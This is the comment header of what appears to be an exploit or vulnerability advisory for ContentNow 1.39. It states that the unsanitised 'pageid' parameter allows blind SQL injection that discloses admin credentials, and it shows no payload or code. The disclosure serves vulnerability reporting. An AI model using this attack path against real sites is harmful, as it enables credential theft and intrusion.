# ContentNow "pageid" Sql Injection
# Version : 1.39
# Url : http://www.contentnow.mf4k.de
# Author : Alfredo 'revenge' Pesoli
# Advisory : http://www.0xcafebabe.it/advisory/contentnow_139_sqlinjection.txt
#
# Description:
#
# The "pageid" parameter isn't properly sanitised before being returned in sql query
# and can be used to inject craft SQL queries, we can use Blind SQL Injection attack
# to disclose admin credential.
#
# Works regardless of magic quotes
